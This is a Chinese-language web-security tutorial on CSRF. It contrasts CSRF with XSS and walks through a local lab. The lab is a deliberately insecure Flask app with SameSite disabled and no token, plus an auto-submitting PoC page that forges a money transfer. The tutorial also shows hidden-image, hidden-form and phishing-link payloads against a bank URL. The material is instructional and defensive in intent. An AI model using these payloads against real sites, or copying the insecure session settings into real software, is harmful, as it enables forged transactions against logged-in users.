暨昨天我們學了XSS我們今天要來學新的常見攻擊手法,也就是CSFR。加上剛好我們前幾天學了Cookie,正是學CSFR的好時候,因為CSFR正是一個常常與Cookie綁在一起且與XSS有點容易搞混的攻擊方式。
CSFR(Cross-Site Request Forgery),中文全名為跨網站請求偽造,基本概念為攻擊者利用使用者已登入的身分,偷偷幫使用者送出一個請求。由於請求是從使用者的瀏覽器發出去的,瀏覽器會自動帶上Cookie(同時裡面也有Session ID),所以伺服器會以為這個請求是合法的。
舉例:
假設目前我們已經先登入一個銀行的網站https://IZUMI_bank.com/transfer?to=Izumi&amount=1000,伺服器會根據我們登入的Cookie來判斷我們是誰。這時如果攻擊者在他的網站放一張隱藏圖片,<img src="https://IZUMI_bank.com/transfer?to=Hacker&amount=1000">
,這時我們只要一登入銀行後去瀏覽她的網頁,瀏覽器就會自動幫他發出轉上1000給Hacher的請求,這就是跨網站幫你偽造請求,接下來我們來分析一下CSRF跟XSS的差別。
XSS:攻擊者「在網站中插入惡意 JS」,直接操縱瀏覽器。
CSRF:攻擊者「在自己網站中偷偷發請求」,利用受害者已登入的 Cookie。
白話一點來說的話,XSS偏向「網站被駭入」,CSRF則偏向「使用者被利用」。
1.隱藏圖片/script
舉例:
<img src="https://bank.com/transfer?to=hacker&amount=1000">
受害者一進攻擊頁面就觸發。
2.隱藏表單自動送出
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="hacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>
3.釣魚連結
<a href="https://bank.com/transfer?to=hacker&amount=1000">點我抽獎!</a>
接下來我們要講講應該要如何防範CSRF攻擊,我挑了兩個比較常見的防禦方式
1.CSRF Token (最常見)
每次請求時帶一個隨機產生且攻擊者無法預測的token,而伺服器則會負責驗證token
2.雙重驗證
例如轉帳時要輸入密碼 / OTP。
一.準備測試環境
首先,我們一樣要先準備基本的測試環境,但我們今天不會用到Burp Suite,先將下面兩個檔案分別儲存為CSRF.py跟CSRF_PoC.html
#CSRF.py
from flask import Flask, request, session, redirect, url_for, render_template_string
app = Flask(__name__)
app.secret_key = 'dev-secret'
app.config.update(
SESSION_COOKIE_SAMESITE=None,
SESSION_COOKIE_SECURE=False,
SESSION_COOKIE_HTTPONLY=True
)
@app.route('/login', methods=['GET','POST'])
def login():
if request.method == 'POST':
session['user'] = request.form.get('user','victim')
return redirect(url_for('profile'))
return '''
<form method="post">
<input name="user" placeholder="username" />
<button type="submit">Login</button>
</form>
'''
@app.route('/profile')
def profile():
user = session.get('user')
if not user:
return redirect(url_for('login'))
return render_template_string('''
<h3>Welcome {{user}}</h3>
<form action="/transfer" method="post">
<input name="to_account" value="attacker">
<input name="amount" value="100">
<button type="submit">Send</button>
</form>
''', user=user)
@app.route('/transfer', methods=['POST'])
def transfer():
user = session.get('user')
if not user:
return "Not logged in", 403
to = request.form.get('to_account')
amount = request.form.get('amount')
return f"Transferred {amount} from {user} to {to}"
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
這個是CSRF.py
<!doctype html>
<html>
<body>
<h3>CSRF PoC — only for local test</h3>
<form id="f" action="http://127.0.0.1:5000/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to_account" value="attacker">
</form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
這個是CSRF_PoC.html,另外如果大家不知道要怎麼存成html的話這邊教大家最簡單的方法,也就是將代碼打在記事本後儲存時將副檔名更改為.html。
二.開始實作流程
1.開瀏覽器分頁A到 http://127.0.0.1:5000/login,輸入使用者(例如 victim)並登入,這時候會轉到/profile
2.開啟我們儲存的HTML檔案(記得瀏覽器要一樣),我們稱這個為分頁B,此時我們應該會看到Transferred 1000 from victim to attacker,這就表示成功了,接下來我們來講解攻擊的流程
三.攻擊流程
A. 受害者在分頁A登入127.0.0.1:5000
瀏覽器對 POST /login 發送:
POST /login HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/x-www-form-urlencoded
Content-Length:14
user=victim
伺服器(Flask)處理後設定session並回傳Set-Cookie:
HTTP/1.1 302 Found
Set-Cookie: session=<cookie-value>; Path=/; HttpOnly
Location: /profile
B. 攻擊者頁面在同一瀏覽器開啟(Tab B),自動提交CSRF表單到127.0.0.1:5000/transfer
若cookie被瀏覽器帶出,瀏覽器會發送:
POST /transfer HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/x-www-form-urlencoded
Cookie: session=<cookie-value>
amount=1000&to_account=attacker
伺服器收到後會去解碼 cookie、取 session['user'] 存在之後判定是已登入的使用者,執行轉帳邏輯最後回 Transferred 1000 from victim to attacker。
四.防禦方法
基本上只需要在這個網站加入CSRF token(寫在.py的地方),這樣子就能有效的防禦並阻止攻擊
今天學了CSRF的觀念以及實作,相信連續兩天的實作大家可能會有點疲倦,因此明天我們會先講一點觀念的東西,之後再繼續教攻擊。